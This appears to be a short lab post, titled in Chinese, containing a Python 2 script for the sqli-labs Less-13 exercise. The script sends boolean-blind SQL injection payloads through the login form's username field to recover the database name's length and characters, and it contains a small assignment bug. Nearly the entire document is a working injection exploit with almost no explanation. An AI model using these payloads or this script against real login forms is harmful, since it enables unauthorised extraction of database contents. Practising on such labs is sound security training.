通过or注入py脚本

代码思路

 #!/usr/bin/env python

 #encoding:utf-8

 #by i3ekr

 import requests

 url = "http://127.0.0.1/Less-13/?id=1"

 database_length_payload = "abc' ) or length((select database()))={0} #"

 database_name_payload = "xxxxxxxxx')or(select substr((select database()),{0},1))='{1}' # &passwd=1"

 database_length = 0

 database_name = ""

 def get_value(payload,value,*args):

     if len(args) == 0:

         payload = payload.format(value)

         data = {"uname":payload,"passwd":""}

     else:

         payload = payload.format(value,args[0])

         data = {"uname":payload,"passwd":""}

     print "[*] payload:%s"%(data)

     html = requests.post(url,data=data)

     if "flag.jpg" in html.text:

         return True

     else:

         return False

 for i in range(100):

     if(get_value(database_length_payload,i)):

         database_length =+ i

         break

 for n in range(1,database_length+1):

     for s in "qwertyuiopasdfghjklzxcvbnm":

         if(get_value(database_name_payload,n,s)):

             database_name +=s

             break

 print database_name

 print database_length